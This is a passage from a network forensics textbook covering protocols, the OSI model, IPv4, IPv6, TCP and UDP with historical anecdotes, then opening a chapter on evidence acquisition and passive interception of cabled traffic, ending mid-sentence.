the Japanese diplomat bows, extremely respectfully and deeply, the American enthusiasti-
cally thrusts out his hand. Unhappily, the combined ignorance of the two results in a painful
jab in the eye for the Japanese and a figurative black eye for the American. This is clearly
no way to begin a useful relationship.

Every computer that is designed to communicate with another computer over a data
network must overcome the same problem as our Japanese and American diplomats. They
must first be programmed to use some coordinated scheme for exchanging data, from “hello”
to “goodbye”—protocols for communication. Furthermore, they must have a system for
gracefully dealing with ambiguous messages and erroneous conditions because it’s simply
not possible to specify a reaction for every conceivable action.

The Free On-line Dictionary of Computing defines “protocol” as:

A set of formal rules describing how to transmit data, especially across a network.

Some protocols are fairly simple. For example, imagine that I dial your number and your
phone rings, signaling to you that I wish to communicate. You acknowledge my request
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and faciliate communication with me by taking the phone off the hook and saying “Hello,
Jonathan!” T acknowledge your signal by saying something like “Hi, Sherri ...” And so in
three easy steps we’ve established a reliable bidirectional conversation.

The ubiquitous Transmission Control Protocol (TCP) similarly uses three distinct steps
to establish a reliable bidirectional communication between stations. My computer might
send your computer a segment with the TCP “SYN” (“synchronize”) flag set, signal-
ing that I wish to communicate. Your computer acknowledges my request and faciliates
communication with me by sending a TCP segment with the “SYN/ACK” (“synchro-
nize” / “acknowledgment”) flags set in return. My computer acknowledges this signal by
responding with a segment that has the TCP “ACK” (“acknowledgment”) flag set. In
three steps, we’ve conducted a TCP handshake and established our reliable communications
channel.

The Internet Engineering Task Force (IETF) and other standards bodies have published
thousands upon thousands of protocol standards in minute detail, as we discuss extensively
in Chapter 4. However, despite all of these specifications, we still manage to get things wrong
and win black eyes on occasion.

What Are Protocols?

Rules for successful communication between different systems

Prearranged specifications for actions

Designed to avoid implementation dependence

Designed to avoid ambiguity

Designed to recover gracefully from errors

A perpetual attack target ...

2.2.2 Open Systems Interconnection Model

The Open Systems Interconnection (OSI) Model (Figure 2-1) was designed by the Inter-
national Organization for Standardization (ISO) to provide network architects, software
engineers, and equipment manufacturers with a modular and flexible framework for devel-
opment of communications systems. When data is transmitted across a network, output
from one layer is encapsulated with data designed for use by the lower layer processes. Con-
versely, when data is received by the destination host, input from each layer is demultiplexed
for use by the higher layer processes.?

This is similar to the way that people put letters in envelopes and write the recipient’s
address on the outside. With letters in the real world, sometimes encapsulation happens
multiple times. Imagine that an employee puts a letter in a yellow envelope for interoffice

3. Hubert Zimmerman, “OSI Reference Model—The ISO Model of Architecture for Open Systems Intercon-
nection,” IEEE Transactions on Communications, Vol. COM-28, No. 4, April 1980.
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Figure 2—1. Layers in the OSI model. Every network analyst should be fluent in the OSI model
labels. Make sure you have memorized the numbers and descriptions of each of the layers so
that you can converse about them easily.

mail, specifying the recipient by name and office. The mail room receives this envelope and
puts it in a national postal service envelope with a street address of the recipient’s building.
The government mail carrier delivers it to the appropriate building, where the destination
mail room removes the outer envelope and delivers the yellow envelope to the recipient.
Finally, the recipient opens the yellow envelope and removes the letter inside.

Similarly, computers “encapsulate,” or wrap, data from one layer with standard headers
and/or footers so that the software at a lower layer can process it. This is how data is
transmitted from one server to another across the Internet.

When data is received by the destination server, it is “demultiplexed,” or unwrapped. The
receiving process examines the protocol metadata to determine which higher-layer process
to hand it to, and then removes the current layer’s protocol metadata before sending it
along.

Very complex challenges can often be solved more easily if they are broken down into
parts. Using the OSI model, or similar frameworks, designers can partition the big com-
plicated problem of communicating across the Internet into discrete subproblems and solve
them each independently. The great benefit of the layered approach is that, even though
there may be multiple competing protocols used for any one purpose, there exists a layer
of abstraction and modularity that allows us to swap out a solution at one layer without
affecting any of the solutions at the other layers.

There are other layered models in use for this type of network communication abstraction,
such as the “TCP/IP Model,” which uses four layers instead of seven.? Throughout this
book, we use the OSI model (arguably the most popular) as our standard.

4. R. Braden, “Requirements for Internet Hosts—Communication Layers,” IETF, October 1989, http://www
rfe-editor.org/rfc/rfc1122.txt.
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The OSI Model

The OSI model was designed to provide the following benefits for network designers and
engineers:

e Modularity Breaks down a complex communication problem into more manageable
parts.

e Flexibility Supports interchangeable parts within a layer.

e Abstraction Describes the functionality of each layer, so that developers don’t need
to know the specific details of protocol implementations in order to design interoper-
able processes.

Bad guys (and good guys) can bend this framework and break it in curious and wonderful
ways!

2.2.3 Example: Around the World ... and Back

Let’s explore a simple web surfing scenario using the OSI model, as shown in Figure 2-2.
Imagine that you are an American sitting in front of a Mac OS X laptop. You are sitting
in an airport in Salt Lake City, and a small box has popped up indicating that you can get
online via a T-Mobile wireless “hotspot.” You have no idea what that is, but it sounds nice,
so you click “Yes!” Now your laptop is connected to the Internet.

You launch Firefox, your web browser, and tell it that you’d like to ask the Chi-
nese version of Google a question (www.google.cn). Somehow, a page pops up with Hanzi
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GET /HTTP/1.1 Layer 7 GET /HTTP/1.1
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Figure 2-2. An HTTP “GET" request, shown in the framework of the OSI model.
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characters. You ask this Google (in Chinese) for “Chinese food in Bozeman, Montana” and
get a new page back from somewhere in the universe that tells you there’s a place named
Bamboo Garden Asian Grille, which will serve you when you get there. It even includes a
phone number and a map.

2.2.3.1 Questions

You stop for a moment and wonder:

e How did your web browser know how to speak Mandarin to some web server some-
where?

e How did your web browser know where to find that faraway web server, in order to
speak to it in the first place?

e How did your laptop manage to send it a signal in such a way that the wireless access
point sent the request along to the destination?

e How was it that your laptop established itself on the Internet and could communicate
with other systems?

e What was the route that your laptop used to talk to that remote web server, and how
did it figure that out?

e How did the destination web server know what your request meant and how to format a
reply so that your Mac would be able to interpret it (both with Hanzi and in English)?

All you did was point, click, and type a few characters, and within seconds a web server
told you in Chinese about a restaurant in Montana. Pretty slick—and pretty complex. Was
this all caused by voltage variations in copper cables? Was it perhaps also photons through
fiber? Clearly there was some RF too, as your laptop never physically connected to anything
at alll

Hard to believe this problem is solved a billion times a second.’

2.2.3.2 Analysis

Now, let’s analyze this web surfing scenario using the OSI model. As illustrated in Figure
2-2, we will step through one piece of this example in a simplified manner, using only a few
layers but all the same concepts.

Your web browser, an application, operates at Layer 7 of the OSI model. When you type
a URI into the address bar and hit Enter, it sends a DNS request to the local DNS server in
order to map the search engine’s URI (http://www.google.cn) to an IP address. The local
DNS server responds with the IP address mapped to the requested hostname.

Once the remote IP address is known, your local computer sends out an HTTP “GET”
request (Layer 7), destined for the remote web server’s IP address. In order to get this request
to the destination web server, your web browser hands the Layer 7 request to your operating
system. The operating system chops this data up into discrete packets and prepends a
TCP header (Layer 4), which includes the source port that web client is bound to, the

5. Not an official measure.
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destination port (TCP 80) that the server is expected to be listening on, and a variety of
other information to support the Layer 4 connection.

Next, the operating system prepends an IP header (Layer 3), which describes the source
and destination endpoint IP addresses so that the traffic can be properly routed from network
to network across the Internet. Each packet is then framed with 802.11 information for
transmission across the wireless LAN (Layer 2). Finally, the entire frame is turned into an
RF (Layer 1), and sent out into the world.

The local wireless access point (WAP) receives the RF transmission and strips off the
802.11 header, replacing it with a new Layer 2 header. Next, the WAP transmits the entire
frame to the next station over a copper wire (Layer 1). This station is a router that replaces
the Layer 2 information and sends the frame over a copper wire (Layer 1) to its next hop.
This process continues until the packet finally reaches its destination, the remote web server.

At the destination, the process works in reverse: The destination server is connected via
a copper wire (Layer 1) and receives a series of voltage changes. The server’s network card
interprets this as an Ethernet frame (Layer 2), removes the Layer 2 header, and sends it to
the operating system. The operating system sees that the IP packet (Layer 3) contains its
own IP address (“Yay, it’s for me!”). The operating system removes the IP packet header
and notes the TCP header information (Layer 4), which of course includes a destination
port, among other information. The operating system then looks to see what process is
listening on the specified destination port. Finding a web server, it removes the TCP header
and hands the payload to the destination web server (Layer 7).

In this manner, the OSI model can be used to describe the process of sending a web page
request across the Internet, by examining the various layers of protocol interaction.

For the forensic analyst, it is very important to be fluent in the numbers and names
of the different layers in the OSI model. The layered model both reflects and impacts the
design of networking protocols, which we dissect throughout this book.

2.3 Internet Protocol Suite

The Internet Protocol Suite, also known as the TCP/IP protocol suite, is a collection of
protocols that are used to implement important functions on the Internet and in many
other packet-switched networks. For network forensic investigators, the protocols that make
up the Internet Protocol Suite are as important as waves are to surfers or cooking pans are
to Julia Child.

Your effectiveness as a network forensic investigator will depend in part on your famil-
iarity with the Internet Protocol Suite, including key protocols and header fields. Nearly
every network forensic technique in this book relies on your understanding of these proto-
cols, from flow record analysis to packet analysis to web proxy dissection, and more. To get
the most out of this book, we highly recommend that you become proficient at recognizing
and recalling the important features and basic structures of key protocols in the Internet
Protocol Suite.

In this section, we briefly review the history, specification, and features of IPv4, IPv6,
TCP, and UDP. A full treatment of these protocols is beyond the scope of this book. For
more details, we highly recommend TCP/IP Illustrated Volume 1, by W. Richard Stevens.
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2.3.1 Early History and Development of the Internet Protocol Suite

Protocols do not simply fall from the sky, or emerge chiseled in stone—although it can
seem that way when you’re tasked with analyzing or implementing them. Excellent network
forensics investigators intuitively understand that protocols are not perfect: They change
over time, implementations vary greatly, and hackers manage to bend and break them in
weird and interesting ways. To help build your intuition, we now briefly review how the
most important protocols used on the Internet came to exist.

The most famous protocols in the Internet Protocol Suite, the Transmission Control
Protocol (TCP) and the Internet Protocol (IP), were initally developed during the 1970s by
Vinton “Vint” Cerf, Jon Postel, and many others. The research was primarily funded by the
United States Defense Advanced Research Projects Agency (DARPA). The first published
versions of TCP, created by the “Stanford University TCP Project,” actually incorporated
functions that have since been split between TCP and IP. We will henceforth refer to the
original monolithic protocol as “[TCP/IP],” even though at the time it was actually called
simply “TCP,” so as to distinguish it from the modern “TCP” protocol.®

The purpose of the original protocol was to allow processes on different computers in
different networks to easily communicate with each other. Vint Cerf later recalled that “[t|he
initial concept behind [TCP/IP] was very simple. Two processes wishing to communicate
had only to know the other’s ‘address.’””

The original 1974 “Specification of Internet Transmission Control Program” stated:®

Processes are viewed as the active elements of all HOST computers in a net-
work. Even terminals and files or other I/O media are viewed as communicating
through the use of processes. Thus, all network communication is viewed as
inter-process communication.

Since a process may need to distinguish among several communication streams
between itself and another process [or processes|, we imagine that each process
may have a number of PORTs through which it communicates with the ports of
other processes.

Since port names are selected independently by each operating system, [TCP /IP],
or user, they may not be unique. To provide for unique names at each [TCP/IP],
we concatenate a NETWORK identifier, and a [TCP/IP] identifier with a port
name to create a SOCKET name which will be unique throughout all networks
connected together.

Later, the Specification of Internet Transmission Control Program went on to compare
the [TCP/IP] protocol to a post office:

The [TCP/IP] acts in many ways like a postal service since it provides a way
for processes to exchange letters with each other ... In addition to acting like a

6. Cerf, Vinton G., “FINAL REPORT OF THE STANFORD UNIVERSITY TCP PROJECT,” Internet
Experiment Note #151, April 1, 1980, http://www.rfc-editor.org/ien/ien151.txt.

7. Ibid.

8. Cerf, Vinton; Dalal, Yogen; Sunshine, Carl. “RFC 675: SPECIFICATION OF INTERNET TRANSMIS-
SION CONTROL PROGRAM,” IETF, December 1974, http://www.rfc-editor.org/rfc/rfc675.txt.
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postal service, the [TCP/IP] insures end-to-end acknowledgment, error correc-
tion, duplicate detection, sequencing, and flow control.

By 1977, pressure mounted to split the original [TCP/IP] into two separate protocols.
At that time, Jon Postel insightfully wrote:®

We are screwing up in our design of internet protocols by violating the principle
of layering. Specifically we are trying to use TCP to do two things: serve as a
host level end to end protocol, and to serve as an internet packaging and routing
protocol. These two things should be provided in a layered and modular way. I
suggest that a new distinct internetwork protocol is needed, and that TCP be
used strictly as a host level end to end protocol.

Shortly thereafter, work emerged on the Draft Internetwork Protocol Specification,!®

which was eventually published as RFC 791, “Internet Protocol” in September 1981.'! TCP
was revised to excise the network layer functions, and was also published in September 1981
as RFC 793, “Transmission Control Program.” !2

And thus, there was light and darkness, TCP and IP.

2.3.2 Internet Protocol

The Internet Protocol (IP) is designed to handle addressing and routing. It includes a method
for uniquely identifying source and destination systems on a network (the “IP address”), and
provides support for routing data through networks. To accomplish this, data is prepended
with the IP header, as shown in Figures 2-3 and 2-4. The combination of the IP header
and encapsulated payload together are referred to as an IP packet. There is no footer; the
length of the IP packet is specified in its header. The packet is sent from the source through
any intermediate routers to its destination, where the IP header is removed by the recipient
operating system and the encapsulated payload is recovered.
The Internet Protocol (version 4) specification sums it up nicely as follows: 13

The internet protocol is specifically limited in scope to provide the functions
necessary to deliver a package of bits (an internet datagram) from a source to a
destination over an interconnected system of networks. There are no mechanisms
to augment end-to-end data reliability, flow control, sequencing, or other services
commonly found in host-to-host protocols. The internet protocol can capitalize
on the services of its supporting networks to provide various types and qualities
of service.

9. Postel, Jon, “Comments on Internet Protocol and TCP,” Internet Experiment Note #2, August 15, 1977,
http://www.rfc-editor.org/ien/ien2.txt.

10. Postel, Jonathan B., “Draft Internetwork Protocol Specification: Version 2,” Internet Experiment Note
#28, February 1978, http://www.rfc-editor.org/ien/ien28.pdf.

11. J. Postel, “RFC 791—Internet Protocol,” Information Sciences Institute, University of Southern Cali-
fornia, September 1981, http://www.rfc-editor.org/rfc/rfc791.txt.

12. J. Postel, “RFC 793—Transmission Control Protocol,” Information Sciences Institute, University of
Southern California, September 1981, http://www.rfc-editor.org/rfc/rfc793.txt.

13. J. Postel, “RFC 791—Internet Protocol,” Information Sciences Institute, University of Southern Cali-
fornia, September 1981, http://www.rfc-editor.org/rfc/rfc791.txt.
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The TCP Bakeoff

As we've seen, the point of protocols is to ensure that disparate systems can communicate
with each other. This is as true for Japanese and American diplomats as it is for processes
on different Linux and Windows systems.

Once upon a time, when processes on different operating systems couldn’t talk to each
other reliably over a network, early developers had to figure out what the protocols were
going to be and come up with standards that worked for a wide variety of systems.

After experiencing interoperability problems in 1978, the designers of TCP/IP held an
informal “Saturday TCP Bakeoft” to work things out experimentally. The bakeoff was held
on January 27, 1979, at the University of Southern California. As described by Jack Haverty
on the Internet History mailing list:'4

Jon [Postel] picked Saturday because the ISI offices were mostly deserted, so we
all spread out in various offices along a hallway, using the terminals to telnet into
our home machines across the Arpanet and try the experiments. We could shout
at each other down the corridor. Jon had set up a bunch of goals, like establishing
a connection with someone else, and assigned points for each accomplishment.
You even got points for doing things like crashing the other guy’s system.

I remember at first no one could talk to anyone else, because each implementation
seemed to have its own ideas about what was a correct checksum and was re-
jecting all incoming packets. So we all turned off checksumming, and proceeded
to get the basic interactions (SYN, ACK, etc.) to work. Then checksumming
was debugged—getting the exact details of which fields were included in each
checksum calculation and getting the byte-ordering correct. After that worked,
checksumming was turned back on.

Then, documenting what was probably the first instance of a social engineering attack
on a TCP/IP network, Jack wrote:

A few hours later, I remember watching Bill Plummer (PDP-10 TCP) with his
hand poised over the carriage-return key. Bill yelled down the hall to Dave Clark
(Multics TCP)—“Hey Dave, can you turn off your checksumming again for a
minute?” A bit later, Dave said “OK!”, and Bill hit the carriage return key. A
few seconds later ... Dave yelled “Hey, Multics just crashed!” and Bill whooped
“Gotchal”

A discussion of the legality of getting points for crashing a system by subterfuge
ensued, but doesn’t appear in the minutes.

IP operates at Layer 3 of the OSI model (the network layer). It is a connectionless
protocol, meaning that it does not explicitly identify individual packets as being part of
a related series, and therefore also does not have a method for indicating the intiation or
closing of a conversation.

14. Jack Haverty, email message to Internet History mailing list, The Postel Center, University of Southern
California, March 31, 2006, http://mailman.postel.org/pipermail/internet-history/2006-March/000571.html
(accessed December 31, 2011).
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Bytes 0 1 2 3

0x00| Version | IHL [ DSCP  [ECN| Total Length

0x04 Identification R D]MI Fragment Offset

0x08 Time to Live | Protocol Header Checksum

| 0x0C Scurce Address

0x10 Destination Address

0x14 Options L

Figure 2—-3. The IPv4 packet header.

The IP is also not designed to ensure reliability of transmission (the designers envisioned
that this function would be handled by TCP or another higher-layer protocol). The Internet
Control Message Protocol (ICMP), which was released in 1981 at the same time as Internet
Protocol version 4 (IPv4), is often used in conjunction with IP to “provide feedback about
problems in the communication environment.”!® For more information about ICMP, see
Section 11.3.4, “ICMP Tunneling.”

There have been several versions of IP. The most widely deployed version is IPv4, which
was officially standardized in 1981 and first deployed on January 1, 1983. During the past
thirty years, IPv4 has become globally supported. However, work has continued on IP de-
velopment, fueled primarily by concerns about address space exhaustion. In 1998, the speci-
fication for Internet Protocol version 6 (IPv6) was released, and support for it is increasing,
slowly but surely.'¢

Characteristics of IP include:

e Support for addressing and routing
e Connectionless

Unreliable

e Includes a header (no footer)

Header plus payload is called an IP packet

Bytes 0 1 2 3
0x00 | Version Traffic Class Flow Label
0x04 Payload Length Next Header Hop Limit

0x0C
0x10
0x14
0x18
0x1C

Source Address (128 bits)

Destination Address (128 bits)

0x24

Figure 2—4. The IPv6 packet header.

15. J. Postel, “RFC 792—Internet Control Message Protocol,” IETF, September 1981, http://www
rfc-editor.org/rfc/rfc792.txt.

16. Deering, S.; Hinden, R. “Internet Protocol, Version 6 (IPv6) Specification,” IETF, December 1998,
http://www.rfc-editor.org/rfc/rfc2460.txt.
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In the following sections, we briefly summarize the features of IPv4 and IPv6, and discuss
key differences between them.

2.3.2.1 IPv4

IPv4 uses a 32-bit address space to identify the source and destination systems. Typically,
human-readable IP addresses are divided into four octets, separated by periods, and written
in decimal. Each octect has 2% possible values, ranging from 0 to 255. For example, here is
a 32-bit IP address written in binary and human-readable form:

Binary:

00001010.00000001.00110010.10010110
Human-readable:

10.1.50.150

There are 232, or 4,294,967,296 (approximately 4.3 billion) possible IPv4 addresses. The-
oretically, the smallest possible IP address is 0.0.0.0 and the largest is 255.255.255.255.
However, many IPv4 addresses are reserved for specific purposes. For example, three ranges
of addresses were reserved for private networks by RFC 1918 Address Allocation for Private

Internets, and are not routed across the Internet.'” These ranges are:
10.0.0.0 - 10.255.255.255 (10/8 prefix)
172.16.0.0 - 172.31.255.255 (172.16/12 prefix)
192.168.0.0 - 192.168.255.255 (192.168/16 prefix)

Each IPv4 packet header includes a checksum. Routers along the packet’s path recalcu-
late the checksum based on the data in the header and, if it is not correct, they discard the
packet. IPv4 does not include any built-in support for encryption.

The full structure of the IPv4 packet header is shown in Figure 2-3.

2.3.2.2 IPvb

Although 4.3 billion possible IP addresses may seem like a lot, it’s not enough for the long-
term needs of the global Internet. In February 2011, the last five IPv4 address ranges were
allocated by the Internet Assigned Numbers Authority (IANA) to each of the five Regional
Internet Registries (RIRs) around the world.!®

The address space exhaustion occurred in part because of the explosion of mobile devices
and the sheer numbers of people connected to the Internet. It is also partly due to inefficient
address allocation; for example, in the infancy of the Internet, MIT was allocated an entire
“Class A” range (18.*.**) with over 16 million possible IP addresses, even though the
university uses a fraction of that number.

17. Y. Rekhter, B. Moskowitz, D. Karrenberg, G. J. de Groot, E. Lear, “RFC 1918: Address Allocation for
Private Internets,” IETF, February 1996, http://www.rfc-editor.org/rfc/rfc1918.txt.

18. Lawson, Stephen. “IPv6 Doomsday Won’t Hit in 2012, Experts Say.” PCWorld, December 29, 2011,
http://www.pcworld.com/businesscenter /article/247091 /ipv6 _doomsday_wont_hit_in_2012_experts_say.html
(accessed December 31, 2011).
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In response to the IPv4 address space exhaustion, the IPv6 protocol was developed with
128 bits for each of the source and destination addresses. There are approximately 2'2%,
or 340 undecillion possible IP addresses. Human-readable IPv6 addresses are written in
hexadecimal and are divided into 8 groups of 16 bits each.

Here is an example of a human-readable IPv6 address:

2001:0db8:0000:0000:0001:0000:0000:0001

Here is a shorthand way of writing the same IPv6 address:
2001:db8::1:0:0:1

Developers of IPv6 also disposed of packet header checksums, as you can see in
Figure 2-4. Instead, error detection is left entirely to higher-layer protocols. This helps to
improve throughput, since routers no longer have to calculate the packet header checksum at
each hop while the packet is in transit. In addition, IPv6 headers are of fixed length, rather
than variable length as in IPv4. This eliminates the need for routers to parse the IP header
length in order to find and evaluate fields in the embedded protocol (i.e., for packet filtering).

Perhaps most importantly for security purposes, IPv6 is designed to interoperate with
IPSEC, providing network-layer confidentiality and integrity.

The key changes introduced in IPv6 compared with IPv4 can be summarized as follows:

Larger address space (128 bits)

No packet header checksums

Fixed-length IP packet header

Designed to interoperate with IPSEC

2.3.3 Transmission Control Protocol

The Transmission Control Protocol (TCP) is designed to handle multiplexing of process
communications on the host, as well as reliability and sequencing. Data is prepended with
a TCP header, as shown in Figure 2-5. The combination of the TCP header and the encap-
sulated payload together is referred to as a TCP segment. As with IP, there is no footer.
To communicate, a process encapsulates data in a TCP segment header for transmission to
another process, possibly on a remote system (in which case the segment would subsequently
be encapsulated in an IP packet for transmission across the network and demultiplexed at
the receiving end).

|Bytes 0 1 2 3

0x00 Source Port Destination Port

0x04 Sequence Number

0x08 Acknowledgement Number

0x0C| Length  Reserved C|E|U|A P|R|S|F Window Size

0x10 Checksum Urgent Pointer

0x14 Options e

Figure 2-5. TCP
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Wanna Buy a Class C?

MIT’s venerable humor magazine, Voo Doo, once ran a tongue-in-cheek article about the
ironies of IP address management in their supposedly roomy Class A address space. In
a 1995 article, “IP Address Shortage Spurs Black Market,” the prolific Alyssa P. Hacker
wrote:

Although M.I.'T. owns one of the few Class A Internet Protocol (IP) address
spaces in the world, the now famous “Net 18,” there is a campus shortage of
available addresses. Not a real shortage, mind you, but an artificial shortage
created by Information Systems controlling and rationing the available subnets.
I/S claims that proactive measures are prudent and necessary, but critics point
out that out of the sixteen million possible addresses of the form 18.*.*.* there
are only about thirteen thousand hosts on MITnet.

...Under ResNet, dormitories and fraternities are assigned Class B networks
with over 65,000 available addresses. However, no fraternity we talked to had
more than 100 machines running in their house, not even enough to tax a Class C
address space.

... House Presidents were uncharacteristically glib about what they were doing
with the unused addresses. “We are not using them,” said David Conway, Pres-
ident of Chi Phi in Boston. “No further comments.” When shown evidence that
they are in use, he repeated, “We are not using them.”

An anonymous junior at TEP shed some light on the answer, though. “Let’s just
say the House GPA jumped half a point last term.”

Just as with other black markets of the twentieth century, students involved
with selling and trading IP addresses, or “dealing IP” as it is called in the
dark basements and dangerous streets of M.I.T., turn to other crimes, such as
fraud and prostitution. “The temptation is there,” states Anne Glavin, Chief of
Campus Police. “Anytime a commodity is priced artificially high, a black market
appears. We’ve seen it before at M.I.T. with heroin and DRAM chips.”

... “Dealing IP was a gateway crime for me,” said Brian Bradley, who asked not
to be identified. “When I ran out of IP addresses, I wanted to keep dealing, so I
switched to selling cocaine. The switch wasn’t difficult, though. I still have the
same customers: Media Lab professors and computer science grad students.”

The TCP header includes 16-byte fields for “source port” and “destination port.” Recall
that according to the original “Specification of Internet Transmission Control Program,” a
process “may have a number of PORTSs through which it communicates with the ports of
other processes.”?? The possible values for TCP ports range from 0 to 65,535.

19. Hacker, Alyssa P. “IP Address Shortage Spurs Black Market.” Voo Doo, MIT Journal of Humour, 1995.
http://web.mit.edu/voodoo/www/is771/ip.html (accessed December 31, 2011).

20. Cerf, Vinton; Dalal, Yogen; Sunshine, Carl. “RFC 675: SPECIFICATION OF INTERNET TRANSMIS-
SION CONTROL PROGRAM,” IETF, December 1974, http://www.rfc-editor.org/rfc/rfc675.txt.
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TCP is a connection-oriented protocol. It indicates the state of transmissions using flags
in the TCP header. As described earlier in Section 2.2.1, TCP uses three steps to establish
a reliable bidirectional communication between stations. First, the initiating station sends a
segment with the SYN flag set. Next, the responder sends back a segment with the “SYN”
and “ACK” flags set. Finally, the initiator responds with a segment that has an “ACK”
flag set. This initiation sequence is referred to as the three-way handshake. There is also a
corresponding two-step sequence for closing a connection using the “FIN” and “ACK” flags.

Key characteristics of the TCP protocol include:

e Reliable
e Connection-oriented

e Handles sequencing

Port numbers range from 0 to 65535

Includes a header (no footer)

Header plus payload is called a TCP segment

2.3.4 User Datagram Protocol

The User Datagram Protocol (UDP) is an extremely simple protocol. As you can see in
Figure 26, it doesn’t do much—it is merely designed to facilitate muliplexing of process
communications on the host, without any of the reliability, sequencing, connection setup and
teardown, or any of the frills of TCP. This is very useful for some applications, such as real-
time data streaming (Voice over IP, music, or videos). For these applications, there is no point
in attempting to detect if packets arrive out of order or are dropped because the real-time
requirements leave no room for retransmission. It is better to simply drop datagrams when
errors occur than to slow down the entire transmission with transport-layer error checking.

Like TCP, the UDP header includes 16-byte fields for “source port” and “destination
port.” The possible values for UDP ports range from 0 to 65,535.

Key characteristics of the UDP protocol include:

e Unreliable
e Connectionless
e Port numbers range from 0 to 65535

e Includes a header (no footer)

Header plus payload is called a UDP datagram

UDP Datagram Header

Bytes 0 7] 2 3
0x00 Source Port Destination Port
0x04 UDP Length UDP Checksum

Figure 2-6. UDP
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“Barely Worthy of the Name”

Internet pioneer David P. Reed provided a disenchanted perspective of the development of
UDP during a 2006 discussion on the Internet History mailing list: %!

I recall the spec of UDP (which is barely worthy of the name, it’s so simple in
concept) being written as part of a cleanup process, pushed by Postel to close
some loose ends. Remember the point of UDP was to support such things as
packet speech, message exchange protocols like DNS, ... and we were still far
from understanding what might need to be in UDP for such things. So a long
delay from conception to spec’ing was actually what happened.

I personally focused 99% of my time on TCP and IP issues in this time frame
and so did everyone else. UDP was, to me, really a negotiating placeholder,
something I was very happy we won in the negotiations leading up to it because
my own research interest was in intercomputer message-exchange protocols—a
general purpose solution that would be usable by lots of non-virtual-circuit apps.
All it needed was demuxing (ports). In fact, I would have preferred (following my
more extreme version of the E2E principle or principle of minimum mechanism)
if there weren’t even a checksum in the spec’ed format, so that error-recovery
could have been left to layers on top ... [but] 4 bytes wasted is not a battle I
wanted to fight, and you didn’t have to actually compute or check the UDP
checksum.

2.4 Conclusion

Network investigators must always be ready to learn and adapt. From wires to routers to web
proxies to DNS servers, there are innumerable potential sources of network-based evidence.
Although most environments are built from the same general types of network devices, there
exists a wide variety of equipment, software, and protocols that are constantly changing.

In this chapter, we reviewed common classes of network devices and discussed the types
of evidence typically found on each, and the value for forensic investigators. We followed
up by discussing the concept of protocols and the OSI model, which form the framework
for our studies throughout the remainder of this book. Finally, we discussed the Internet
Protocol Suite and highlighted key features of IPv4, IPv6, TCP, and UDP.

With this framework in mind, remember that every environment is different and every
investigation is different. Your mileage will vary based on the specific devices and communi-
cations protocols involved in each investigation. Always be prepared to encounter something
new.

21. David P. Reed, email message to Internet History mailing list, The Postel Center, University of Southern
California, March 31, 2006, http://mailman.postel.org/pipermail/internet-history/2006-March /000569.html
(accessed December 31, 2011).
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Chapter 3

Evidence Acquisition

“Some things are hurrying into existence, and others are hurrying out of it; and of that
which is coming into existence part is already extinguished ... In this flowing stream then,
on which there is no abiding, what is there of the things which hurry by on which a man
would set a high price?”’

—The Meditations, by Marcus Aurelius'

Ideally, we would like to obtain perfect-fidelity evidence, with zero impact on the environ-
ment. For copper wires, this would mean only observing changes in voltages without ever
modifying them. For fiber cables, this would mean observing the quanta without ever in-
jecting any. For radio frequency, this would mean observing RF waves without ever emitting
any. In the real world, this would be equivalent to a murder investigator collecting evidence
from a crime scene without leaving any new footprints.

Obviously, we don’t live in a perfect world, and we can never achieve “zero footprint.”
Detectives analyzing a murder scene still cannot avoid walking on the same floor as the
killer. However, network investigators can minimize the impact.

Network forensic investigators often refer to “passive” versus “active” evidence acquisi-
tion. Passive evidence acquisition is the practice of gathering forensic-quality evidence from
networks without emitting data at Layer 2 and above. Traffic acquisition is often classified
as passive evidence acquisition. Active or interactive evidence acquisition is the practice of
collecting evidence by interacting with stations on the network. This may include logging
onto network devices via the console or through a network interface, or even scanning the
network ports to determine the current state.

Although the terms “passive” and “active” imply that there is a clear distinction
between two categories, in reality, the impact of evidence acquisition on the environment is
a continuous spectrum.

In this chapter, we discuss the types of physical media that can be leveraged to passively
acquire network-based evidence and delve into popular tools and techniques for acquiring
network traffic. Next, we review common interfaces used to interact with network devices.
Finally, we discuss strategies for minimizing your footprint when conducting active evidence
acquisition.

1. Thomas Bushnell, “The Meditations,” 1994, http://classics.mit.edu/Antoninus/meditations.mb.txt.
45
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3.1 Physical Interception

It is possible to obtain network traffic without sending or modifying any data frames on the
network. While it is never possible to have absolutely zero impact on the environment, the
process of capturing (or sniffing) traffic can often be conducted with very little impact.

There are many ways to transmit data over physical media, and just as many ways to
intercept it. The simplest case is a station connected to another station over a physical
conduit, such as a copper cable. Voltage on copper can easily be amplified and redistributed
in a one-to-many configuration. Hubs and switches are designed to extend the physical media
in order to share the baseband with additional stations.

Forensic investigators can passively acquire network traffic by intercepting it as it is
transmitted across cables, through the air, or through network equipment such as hubs and
switches.

Pidgeon Sniffing?

IP networks can be built upon a wide variety of physical media. For example, RFC 1149,
“Standard for the transmission of IP datagrams on avian carriers” (subsequently extended
in RFC 2549), describes the transmission of IP packets over avian carriers, as follows: >

Avian carriers can provide high delay, low throughput, and low altitude service.
The connection topology is limited to a single point-to-point path for each carrier,
used with standard carriers, but many carriers can be used without significant
interference with each other, outside of early spring. |[...]

Forensic investigators have not standardized on a method of passively smniffing traffic
transmitted over avian carriers. Avian networks are fairly resistant to passive interception.
Active interception techniques do exist, and typically involve large packages of breadcrumbs,
as well as support staff to transcribe IP packets. The chief difficulty is route determination
and interception, since dropped packets may not be recoverable. Consult your local health
officials for any areas of avian influenza.

3.1.1 Cables

Cables allow for point-to-point connections between stations. The most common materials
for cables are copper and fiber. Each of these can be sniffed, although the equipment and
side effects vary based on the physical media.

3.1.1.1 Copper

The two most widely used types of copper cabling used in the modern era are coaxial cable
and twisted pair.

)

e Coaxial Coaxial cable, or “coax,” consists of a single copper wire core wrapped in
insulation and covered with a copper shield. This package is then sealed with an outer

2. D. Waitzman, “RFC 1149—Standard for the Transmission of IP Datagrams on Avian Carriers,” [ETF,
April 1, 1990, http://rfc-editor.org/rfc/rfc1149.txt.
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insulation. Since the transmission media is the single copper core, all stations on the
network must negotiate the transmission and reception of signals. The benefit is that
the copper core is shielded from elecromagnetic interference.

In most cases where coax is used, if you can tap the single copper core, you can
access the traffic to and from all stations that share the physical medium.

e Twisted Pair (TP) TP cables contain multiple pairs of copper wires. Unlike coaxial
cable, where the single copper core is shielded against electromagnetic interference by
a tubular Faraday cage, in TP each pair of copper wires is twisted together in order to
negate electromagnetic interference. TP wires are typically deployed in a star topology.
For example, in a large enterprise, end stations are commonly connected via unshielded
twisted pair (UTP) (typically CAT5) to an aggregator such as an edge switch. This
means that by tapping one pair of TP wires on a switched network, you may receive
